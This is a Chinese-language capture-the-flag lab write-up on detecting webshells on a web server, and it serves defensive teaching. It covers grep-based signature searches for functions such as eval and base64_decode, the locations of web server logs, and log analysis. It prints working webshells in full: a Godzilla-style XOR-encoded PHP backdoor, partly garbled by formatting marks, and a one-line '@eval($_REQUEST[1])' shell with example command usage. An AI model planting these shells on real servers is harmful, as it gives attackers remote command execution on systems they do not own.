webshell查杀

无论是什么webshell,都有相关特征

下面是3个类型的webshell中的特征

PHP:
eval()
system()
exec()
shell_exec()
passthru()
assert()
base64_decode()
ASP:
Execute()
Eval()
CreateObject()
JSP:
Runtime.getRuntime().exec()

同时webshell也常用编解码来进行绕过

eval(base64_decode('encoded_string'));

webshell也会使用文件包含或读取、写入、修改的函数

PHP:
fopen()
fwrite()
file_get_contents()
file_put_contents()
ASP:
FileSystemObject

webshell也可能会包含网络操作函数,用于远程服务器通信

PHP:
fsockopen()
curl_exec()
file_get_contents('http://...')
ASP:
WinHttp.WinHttpRequest

在服务器中,可以通过查找匹配指定文件内容来找到webshell

//搜索目录下适配当前应用的网页文件,查看内容是否符合webshell特征
find ./ type f -name " *.jsp" | xargs grep "exec("find ./ type f -name "* .php" | xargs grep "eval("
find ./ type f -name " *.asp" | xargs grep "execute("find ./ type f -name "* aspx" | xargs grep "eval("

//免杀的webshell,可以查看是否使用编码
find ./ type f -name "*.php" | xargs grep "base64_decode"

(常用的代码)
find ./ type f -name "*.php" | xargs grep "eval("

xargs:用于将输入数据重新格式化后作为参数传递给其他命令。在这个命令中,xargs将find命令找到的文件列表作为参数传递给grep命令
grep "eval(": grep用于搜索文本,并输出匹配的行。这里"eval("是grep命令的搜索模式,用于查找包含"eval("字符串的行。

在玄机webshell查杀靶机中

可以找到3个存在eval函数的文件,也就这3个可能就是webshell

查找后,发现确实如此,三个文件为webshell,一个是一句话木马,一个是小马

<?php  
	@session_start();  
	@set_time_limit(0);  
	@error_reporting(0);  
	function encode($D,$K){  
	    for($i=0;$i<strlen($D);$i++) {  
	        $c =$K[$i+1&15];  
	        $D[$i] = $D[$i]^$c;  
	    }  
	    return $D;  
	}  
	//027ccd04-5065-48b6-a32d-77c704a5e26d  
	$payloadName='payload';  
	$key='3c6e0b8a9c15224a';  
	$data=file_get_contents("php://input");  
	if ($data!==false){==    ==$data=encode($==​==data,$key);if (isset(==​==$_SESSION[$==​==payloadName])){==        ==$payload=encode($==​==_SESSION[==​==$payloadName],$==​==key);if (strpos($payload,&quot;getBasicsInfo&quot;)===false){==            ==$payload=encode($==​==payload,$key);}eval($payload);echo encode(@run(==​==$data),$==​==key);}else{if (strpos($data,&quot;getBasicsInfo&quot;)!==false){  
	            $_SESSION[$payloadName]=encode($data,$key);  
	        }  
	    }  
	}

1. ​`@session_start();`​:启动会话
2. ​`@set_time_limit(0);`​:设置脚本执行时间限制为无限制
3. ​`@error_reporting(0);`​:关闭错误报告
4. ​`function encode(K){...}`​:定义了一个名为 `encode`​ 的函数,它接受两个参数 `$D`​ 和 `$K`​。这个函数看起来像是一个简单的异或编码函数,用于对数据进行加密或解密。它使用 `$K`​ 作为密钥,对 `$D`​ 中的每个字符进行异或操作。
5. 接下来的几行代码定义了 `$payloadName`​、`$key`​ 和 `$data`​ 变量。`$payloadName`​ 是用于存储有效载荷的会话变量名,`$key`​ 是用于编码的密钥,`$data`​ 是从 `php://input`​ 流中读取的数据。
6. ​`if ($data!==false){...}`​:如果从 `php://input`​ 读取的数据不是 `false`​(即成功读取了数据),则执行以下代码块。
7. ​`if (isset(payloadName])){...}`​:检查 `$payloadName`​ 对应的会话变量是否已设置。
8. ​`if (strpos($payload,"getBasicsInfo")===false){...}`​:检查 `$payload`​ 变量中是否包含字符串 `"getBasicsInfo"`​。
9. ​`eval($payload);`​:如果 `$payload`​ 变量包含 `"getBasicsInfo"`​ 字符串,则执行 `$payload`​ 变量中的 PHP 代码。
10. ​`echo encode(@run(key);`​:如果 `$data`​ 包含 `"getBasicsInfo"`​ 字符串,则执行 `@run($data)`​ 函数,并将结果编码后输出。
<?php phpinfo();@eval($_REQUEST[1]);?>

调用phpinfo函数

执行任何命令
1=system('')

找到flag{027ccd04-5065-48b6-a32d-77c704a5e26d}

第一个flag已经找到了

现在是第二个,找到黑客工具

webshell一般使用的是菜刀,蚁剑,CS,哥斯拉,冰蝎等工具连接

而下面是哥斯拉码的开头:

@session_start();  
@set_time_limit(0);  
@error_reporting(0);  

那么去github找到对应的路径

https://github.com/BeichenDream/Godzilla

md5后得到

39392de3218c333f794befef07ac9257

flag{39392de3218c333f794befef07ac9257}

另一个.Mysqli.php应该是个隐藏码

那么相关路径是

/var/www/html/include/Db/.Mysqli.php

flag{aebac0e58cd6c5fad1695ee4d1ac1919}

接下来是最后一个,免杀码

> 查找和处理免杀马的方法;

文件完整性检查:

比较当前文件与已知的良性备份文件,发现被修改或新增的文件。
代码审查:

手动检查可疑文件,寻找混淆、编码、加密和动态执行的代码模式。
安全扫描工具:

使用高级安全扫描工具,这些工具使用行为分析和机器学习来检测潜在的免杀马。
日志分析:

查看服务器访问日志和错误日志,寻找异常访问和执行模式。
检查文件修改时间,与正常更新周期不符的文件可能是可疑的。
基于特征的检测:

使用YARA规则等特征检测工具,根据已知的免杀马特征进行扫描。

> 总结:免杀马通过静态检测是检测不到的,因为在免杀的过程中将webshel的特征值以及特征函数都给去掉了,因为webshell执行会在网站日志留下记录,那我们就到网站日志里面看看有啥可疑的记录,这里也顺便说一下linux的日志存放在/var/log目录下。

接下来

常见网站日志的路径:

IIS(Internet Information Services)

IIS是Windows上的默认Web服务器,其日志文件默认存储在以下路径:

IIS 6.0 及更早版本:

  ​`C:\WINDOWS\system32\LogFiles\W3SVC[SiteID]\`​
IIS 7.0 及更高版本:

  ​`C:\inetpub\logs\LogFiles\W3SVC[SiteID]\`​

  其中,[SiteID] 是网站的标识符,通常是一个数字。

Apache HTTP Server

如果在Windows上安装了Apache,日志文件默认存储在安装目录下的logs文件夹中:

​`C:\Program Files (x86)\Apache Group\Apache2\logs\`​

或者

​`C:\Program Files\Apache Group\Apache2\logs\`​

具体路径取决于安装时选择的位置。

Linux系统中的网站日志路径

Apache HTTP Server

在Linux上,Apache日志文件通常位于以下目录:

访问日志:

  ​`/var/log/apache2/access.log`​

  或者

  ​`/var/log/httpd/access_log`​
错误日志:

  ​`/var/log/apache2/error.log`​

  或

  ​`/var/log/httpd/error_log`​

不同的Linux发行版可能有不同的目录。例如,在Debian/Ubuntu上通常使用`/var/log/apache2/`​,而在Red Hat/CentOS上通常使用`/var/log/httpd/`​。

Nginx

Nginx是另一个流行的Web服务器,默认的日志文件路径如下:

访问日志:

  ​`/var/log/nginx/access.log`​
错误日志:

  ​`/var/log/nginx/error.log`​

如何查看和分析日志文件?

Windows:

  * 使用文本编辑器(如Notepad、Notepad++)直接打开日志文件查看。
  * 可以使用IIS管理器查看IIS日志。
Linux:

  使用命令行工具查看日志,例如:

    ​`tail -f /var/log/apache2/access.log tail -f /var/log/nginx/access.log`​
   可以使用日志分析工具(如GoAccess、AWStats)生成可视化的日志报告。

查询日志后,发现一个不对劲的地方,1=phpinfo()

前往查看相关代码

index.php没发现问题

data/tplcache/top.php也没发现问题

但是wap/top.php存在问题,看着是混淆过的password,而不是正常文件

路径则为/var/www/html/wap/top.php

flag{eeff2eabfd9b7a6d26fc1a53d3f7d1de}

在此,所有webshell均已找到

总结来说,webshell的查找分为3个部分

首先是了解当前web应用使用的语言,比如php,asp,jsp

然后先查询明面的webshell

找到相关的文件,并且查询文件中的webshell特征

最后,查找免杀码,也是最难发现的码,也就是:文件完整性检查,代码审查,日志分析,基于特征的检查

日志查找是很重要的一种方式。